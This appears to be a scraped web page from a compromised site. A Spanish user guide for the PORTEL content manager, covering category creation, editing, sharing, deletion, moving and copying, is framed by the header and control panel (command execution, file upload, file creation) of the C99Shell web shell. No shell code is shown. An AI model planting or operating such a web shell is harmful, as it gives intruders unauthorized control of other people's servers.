!C99Shell v. 1.0 pre-release build #13!

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Modulo Contenidos
Opciones en la Edición de Categorías


¿Cómo crear una nueva pagina en mi sección?

En PORTEL cada una de la secciones es llamada una también una categoría. La sección o categoría es parte de una estructura, es decir que la suma de categorías hace el sitio Web. Por ejemplo la suma de las categorías de contabilidad, almacén, servicios, etc. hacen el sitio Web del área administrativa, a su vez cada categoría puede contener muchas otras subcategorías y estas a su vez otras más y de esta forma crear una estructura simple o muy compleja.

En este orden de ideas por ejemplo usted tiene una sección que se llama la entidad y dentro de esta quiere poner más subdivisiones, puesto que es obvio que publicar toda la información en una sola página seria casi imposible. Así pues, usted quiere crear una nueva sección o categoría que se llame misión, otra que se llame visión, entre otras, pues en cada una de ellas usted va a publicar información. Pues para ello, se usan las categorías.

1. Para agregar la categoría primero haga clic en el ítem categorías del menú PORTEL.

 

2. Navegue a través de los enlaces dispuestos en cada categoría hacia el interior y encuentre la categoría desde donde usted desea crear la nueva categoría. En el ejemplo anterior tendría que ubicar la entidad.

3. Al hacer clic en cada enlace de cada categoría, usted desplegará las otras subcategorías que se encuentran en su interior y así sucesivamente como en un árbol de jerarquías.

4. Una vez ubicada la categoría haga clic en ella para que quede resaltada.

5. Si usted tiene los permisos necesarios, ahora vera un formato con las posibilidades de adición de la categoría.

6. Agregue un nombre en el campo respectivo, con el cual usted quiere que aparezca la categoría en el sitio.

7. Seleccione el estado en que desea que quede su categoría; Activo, para que su categoría sea visible inmediatamente o inactivo, para que la misma solo se muestre en el editor.

8. Seleccione un formato para que su categoría se presente de una u otra forma, igualmente usted podrá cambiarlo después.

9. Seleccione un color de fondo.

10. Si usted desea usar un banner, seleccione la fuente de la librería de banners disponible.

11. Agregue la categoría haciendo clic en el botón agregar.

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¿Cómo editar una categoría?

1. Ingrese en el buscador del menú general de PORTEL una palabra que usted sepa que esta presente en el nombre de la categoría.

 

2. Revise los resultados de búsqueda bajo el tabulador categorías y si usted tiene permisos y existe la categoría, usted podrá seleccionarla de allí haciendo clic en el enlace con el nombre.

 

3. Se desplegara el formato de edición, allí puede cambiar lo requerido y hacer clic al final en editar. Los campos que usted puede editar corresponden a aquellos que ingreso con la categoría.

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Compartir Categoría

Como hemos visto las categorías son una especie de espacios en donde se colecciona información. Su uso como tal, las hace similares a una carpeta de Windows, y son en sí mismas unos contenedores con la opción de poner en ellos, cualquier tipo y cantidad de archivos, los cuales se denominan contenidos.

Siguiendo con la analogía con las carpetas, es bien sabido que éstas además de crearse o editarse, pueden necesitar otras operaciones tales como ser copiadas, y movidas. Es obvio que cuando usted tiene una categoría con contenidos, en ocasiones usted querrá mover y copiar todo su contenido y estructura a otra parte sin tener que mover contenido por contenido y reproducir toda su estructura de nuevo.

La primera opción que aquí explicaremos es la de compartir categorías y su función básica es la de permitir que una categoría comparta sus contenidos con otra, de una forma en la que parecen mas bien sincronizadas, pues la categoría que se genera al compartir hereda de aquella desde donde se comparte todos los atributos que la definen y la componen.

En otras palabras, la nueva categoría es un clon de la original, pero no solo porque tenga los mismos contenidos y estructura interna, sino porque los cambios que se realicen a la categoría original afectaran exactamente igual a la nueva categoría o compartida.

Así es, la categoría nueva tendrá incluso el mismo nombre y sus respectivas subcategorías redireccionarán al usuario hacia las subcategorías de la original, pues en cierta forma la categoría nueva no existe, es solo un reflejo de la original, solo que en una ubicación diferente.

Es muy útil para reproducir a lo largo de un sitio áreas que se deben referir desde muchas otras secciones. Suponga que usted requiere en muchas paginas de su sitio que los navegantes tengan acceso a un área de contáctenos. Con esta utilidad usted podrá crear una única categoría con subcategorías, contenidos, formas, y todo lo demás permitido y luego referirla como un ítem en muchos menús a lo largo de todo su Site, con una ventaja adicional, que para hacer cambios en ella solo basta editar la categoría madre y en todas partes en donde se haga referencia a esta, los cambios quedaran automáticamente aplicados.

Para compartir una categoría:

1. Ubíquese usando el árbol de categorías en la categoría en donde quiere generar el clon de una categoría original.

2. Usando el formato de adición de categorías, no ingrese ningún nombre, pues la categoría clon toma el nombre de la categoría original.

3. En el menú desplegable que se encuentra debajo del nombre seleccione la categoría original que quiere clonar.

4. En estado seleccione entre activo e inactivo. En uno u otro estado, la categoría es o no visible.

5. En el ítem formato, seleccione compartir. El formato de presentación del clon también está dado desde la categoría original.

6. Haga clic en agregar. El resto de campos del formato de adición tales como color de fondo no son necesario al compartir categorías.

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Borrar Categorías

Borrar es siempre una tarea muy compleja, pues no se trata simplemente de eliminar todo sin ninguna discriminación. Como hemos visto, la categoría es un contenedor y por ello a su interior se referencian contenidos, datos, resultados y más subcategorías entre otras muchas cosas, así que eliminarlos sin tener en cuenta esto puede no solo ser inadecuado sino riesgoso.

Para ello, antes de eliminar una categoría, ésta se debe desocupar. Como dijimos habrá necesidad de vaciar los contenidos, subcategorías y otros muchos ítems antes que el sistema nos permita retirarla.

Cuando se ha controlado muy bien la categoría y se sabe a que esta atada y a que no, es posible vaciarla correctamente y luego así eliminarla. Por lo demás, categorías sin mucho orden, control o de mucha antigüedad pueden ser prácticamente imborrables, lo que garantiza que nunca se pierdan datos. Para eliminar categorías, usted siempre tendrá la opción de cambiarles el estado, lo que simplemente las oculta sin ser necesario alterar en nada su contenido.

Pierda cuidado sobre eliminar categorías involuntariamente, pues el sistema esta dotado de múltiples verificaciones que hacen que esto sea prácticamente imposible.

Antes de revisar el proceso, se debe decir que para poder eliminar una categoría usted debe haberla creado o haber sido autorizado para alterarla, de lo contrario esto tampoco será posible.

Para borrar una categoría:

1. Ubique desde el árbol de categorías la categoría a eliminar.

2. Si es posible eliminarla, al frente del nombre de la categoría aparecerá una [X]. Haga clic en ella y así se borrará la categoría.

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Mover y Copiar Categorías

Como vimos en el aparte de compartir categorías, las operaciones extra sobre éstas son tan vitales como crearlas o editarlas.

Dos funciones, también surgidas de su asociación con las carpetas de archivos es la de mover y copiar. Mover una categoría significa simplemente que tanto su estructura como sus contenidos y otras múltiples relaciones serán movidos a otra parte del sitio, y copiar que los mismos se duplicarán pero se crearán nuevos contenidos y estructura independiente a la del original desde el cual se copio.

Al mover, el lugar de origen queda vació y todos los atributos de esta categoría reubicada quedarán reasignados a su nueva localización. Al copiar, los contenidos y la estructura original por el contrario se conservarán.

Los permisos de usuario y otras características quedarán actualizados a la nueva ubicación.

Para mover o copiar una categoría:

1. Ubique con la ayuda del árbol de categorías, la categoría que quiere mover o copiar.

2. Haga clic en la [e] que se encuentra el frente de la misma.

3. Al abrirse el formato de edición de categorías, usted verá un menú marcado con Mover/Copiar a nueva categoría o existente dentro de. De éste menú seleccione la categoría que contendrá la copia o que recibirá a los contenidos movidos. Como ejemplo, si usted va a copiar o mover una categoría, deberá tener un destino, para el caso la categoría mi entidad. Si usted mueve o copia, en la categoría mi entidad, que es el destino se creará una nueva categoría dependiente de ésta.

4. Haga clic en ir.

5. Se desplegará una ventana que le informará que usted moverá o copiará la categoría desde un punto de origen hacia un destino.

6. Si está de acuerdo, seleccione la operación que desea realizar; mover o copiar.

7. Haga clic en Mover/Copiar contenidos.

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:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

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